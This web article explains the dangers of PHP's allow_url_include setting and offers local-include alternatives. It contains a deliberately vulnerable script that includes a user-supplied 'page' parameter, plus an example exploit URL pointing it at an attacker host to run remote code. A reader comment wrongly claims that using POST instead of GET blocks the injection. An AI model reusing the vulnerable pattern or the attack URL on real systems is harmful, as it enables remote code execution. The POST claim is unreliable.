Why allow_url_include is evil

The PHP option allow_url_include allows to include a remote file as PHP code (so it’ll be actually executed on a local server) via a URL.

For security reasons you should never use this feature. If a web software claims to require this feature you should look into alternative and never even install such software in a production environment.

Reasons to avoid allow_url_include

There’s a number of reasons why the usage of remote file includes should be avoided at any cost.

  1. The application can be tricked into including (and executed if necessary!) a custom content from a remote URL, so an attacker can force your application to run the arbitrary code
  2. If your PHP scripts include content from a URL, the web server has to initiate extra HTTP requests to generate the page. This will make your page load much more slowly, especially if the site you’re loading content from is responding slowly
  3. If the web server you are loading content from fails to respond – your web site will also fail to display properly
  4. In most you can either include the content directly (if it is being loaded from a domain you host), or by loading the content without evaluating it as PHP.

Server-Side Includes (SSI)

Let’s say, you’re working on domain.tld and your software has the following directive:

<?php
include("http://domain.tld/includes/code_to_include.php");
?>

If allow_url_include is set to ‘Off’ the above method will not work. Instead, the file must be included with a local path:

  1. By using a relative path, such as
    ../includes/code_to_include.php
  2. By using an absolute path, such as
    /home/user/domain.tld/includes/code_to_include.php
  3. By using the PHP environment variable
    $_SERVER['DOCUMENT_ROOT']

    which will return the absolute path to the web root directory. For example:

<?php
include($_SERVER['DOCUMENT_ROOT']."/includes/code_to_include.php");
?>

The Evil

Here is a typical example script:

<?php
$page = ($_GET['page']) ? $_GET['page'] : "index.php";
?>
<html>
  <head>
    <title>This is EVIL</title>
  </head>
  <body>

...anything here...

<?php include($page); ?>

...anything here...

  </body>
</html>

The content of the page can be changed by appending a query string to the URL, like this: http://domain.tld/index.php?page=new_content.php

If allow_url_include is enabled, this page will be exploited by changing the value of the variable in the query string: http://domain.tld/index.php?page=http://hacker.com/evil_script.TXT


Was this article helpful?
Spread the word!
  • Nathan P.

    But if you change the method of the include from GET to POST, the url injection is ignored. Granted, the session cannot be “bookmarked” which removes ease of use depending on what you’re making, but if your application writes to MySQL or another DB any data a user has remains server-side anyway.